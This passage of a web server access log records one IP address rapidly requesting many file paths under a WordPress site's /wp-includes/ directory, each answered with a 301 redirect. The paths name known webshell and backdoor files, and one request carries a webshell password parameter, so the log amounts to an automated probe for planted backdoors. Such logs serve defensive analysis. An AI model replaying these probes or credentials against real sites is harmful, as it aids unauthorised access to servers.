- [18/Apr/2025:08:50:08 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:08 -0400] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:09 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:09 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:10 -0400] "GET /wp-includes/certificates/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:11 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:11 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:11 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:13 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:13 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:14 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:14 -0400] "GET /wp-includes/css/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:15 -0400] "GET /wp-includes/css/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:15 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:16 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:16 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:17 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:17 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:17 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:18 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:18 -0400] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:19 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:19 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:20 -0400] "GET /wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:21 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:22 -0400] "GET /wp-includes/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:22 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:23 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:23 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:24 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:24 -0400] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:24 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:25 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:26 -0400] "GET /wp-includes/customize/mariju.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:26 -0400] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:27 -0400] "GET /wp-includes/customize/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:28 -0400] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:29 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:29 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:30 -0400] "GET /wp-includes/fonts//links.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:31 -0400] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:31 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:32 -0400] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:33 -0400] "GET /wp-includes/fonts/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:33 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:34 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:34 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:35 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:35 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:36 -0400] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:36 -0400] "GET /wp-includes/html-api/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:37 -0400] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:37 -0400] "GET /wp-includes/iUN3FwyCaZR.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:37 -0400] "GET /wp-includes/iWoGYaunXNz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:38 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:38 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:39 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:39 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:39 -0400] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:40 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:40 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:41 -0400] "GET /wp-includes/images/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:41 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:42 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:42 -0400] "GET /wp-includes/images/media/ben.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:42 -0400] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:43 -0400] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:43 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:44 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:44 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:45 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:45 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:46 -0400] "GET /wp-includes/images/wlw/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:46 -0400] "GET /wp-includes/images/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:46 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:47 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:47 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:48 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:48 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:49 -0400] "GET /wp-includes/js//text.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:49 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:49 -0400] "GET /wp-includes/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:50 -0400] "GET /wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:50 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:51 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:51 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:52 -0400] "GET /wp-includes/js/codemirror/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:53 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:53 -0400] "GET /wp-includes/js/crop/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:54 -0400] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:54 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:54 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:55 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:55 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:56 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:56 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:56 -0400] "GET /wp-includes/js/tinymce/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:57 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:57 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:58 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:58 -0400] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:59 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:59 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:59 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:00 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:00 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:01 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:01 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:02 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:02 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:03 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:03 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:03 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:04 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:04 -0400] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:05 -0400] "GET /wp-includes/js/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:05 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:06 -0400] "GET /wp-includes/mah.php?pass=888xyz999 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:06 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:06 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:07 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:07 -0400] "GET /wp-includes/php-compat//chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:08 -0400] "GET /wp-includes/php-compat/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:08 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:09 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:09 -0400] "GET /wp-includes/pomo/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:10 -0400] "GET /wp-includes/pomo/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:10 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:11 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:11 -0400] "GET /wp-includes/pomo/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:13 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:14 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:14 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:14 -0400] "GET /wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:15 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:15 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:16 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:16 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:16 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:17 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:17 -0400] "GET /wp-includes/rest-api//class-wp-rest-core.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:17 -0400] "GET /wp-includes/rest-api//ot_shipping.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:18 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:18 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:19 -0400] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:19 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:19 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:20 -0400] "GET /wp-includes/rest-api/endpoints/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:20 -0400] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:21 -0400] "GET /wp-includes/rest-api/endpoints/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:21 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:22 -0400] "GET /wp-includes/rest-api/fields/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:22 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:23 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:23 -0400] "GET /wp-includes/rest-api/search/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:23 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:24 -0400] "GET /wp-includes/sitemaps//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:24 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:25 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:25 -0400] "GET /wp-includes/sitemaps/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:26 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:26 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:26 -0400] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:27 -0400] "GET /wp-includes/sitemaps/providers/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:28 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:28 -0400] "GET /wp-includes/sodium_compat/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:28 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:29 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:29 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:30 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:30 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:30 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:31 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:31 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge//Core32.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:32 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:32 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:32 -0400] "GET /wp-includes/sodium_compat/src/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:33 -0400] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:33 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:34 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:34 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:34 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:35 -0400] "GET /wp-includes/style-engine/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:35 -0400] "GET /wp-includes/style-engine/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:35 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:36 -0400] "GET /wp-includes/style-engine/content.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:36 -0400] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:37 -0400] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:37 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:37 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:38 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:38 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:38 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:39 -0400] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:39 -0400] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:40 -0400] "GET /wp-includes/theme-compat/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:40 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:41 -0400] "GET /wp-includes/upload.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:41 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:41 -0400] "GET /wp-includes/widgets//class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:42 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:42 -0400] "GET /wp-includes/widgets/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:42 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:43 -0400] "GET /wp-includes/widgets/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:43 -0400] "GET /wp-includes/wjacfltdmPx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:44 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:44 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:44 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:45 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:45 -0400] "GET 